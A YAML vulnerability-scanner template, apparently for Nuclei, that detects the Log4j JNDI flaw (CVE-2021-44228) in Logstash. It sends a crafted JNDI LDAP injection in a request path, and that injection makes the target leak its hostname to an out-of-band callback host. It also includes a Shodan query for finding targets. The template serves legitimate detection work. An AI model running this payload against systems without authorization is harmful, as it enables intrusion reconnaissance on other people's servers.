mirror of
https://github.com/SleepingBag945/dddd.git
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63 lines
2.3 KiB
YAML
63 lines
2.3 KiB
YAML
id: logstash-log4j-rce
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info:
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name: Logstash - Remote Code Execution (Apache Log4j)
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author: shaikhyaser
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severity: critical
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description: |
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Logstash is susceptible to Log4j JNDI remote code execution. Logstash is a free and open server-side data processing pipeline that ingests data from a multitude of sources, transforms it, and then sends it to your favorite "stash."
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reference:
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- https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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max-request: 1
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shodan-query: html:"logstash"
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tags: cve,cve2021,rce,jndi,log4j,logstash,oast,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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str: "{{rand_base(5)}}"
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http:
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- raw:
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- |
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GET /api/logstash/pipeline/${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
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Host: {{Hostname}}
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Referrer: {{RootURL}}/app/management/ingest/pipelines/
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Content-Type: application/json
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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group: 2
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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part: interactsh_request
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# digest: 4a0a00473045022041e2cc92ba6a2cc9920f7d74806ceb2570f3b0f6f08ac1c3bf26186630e44775022100f7bcae3be77b86e66ecd90c7df6e95093ceffca7167de0844ccc3f4cc28e5ee7:922c64590222798bb761d5b6d8e72950
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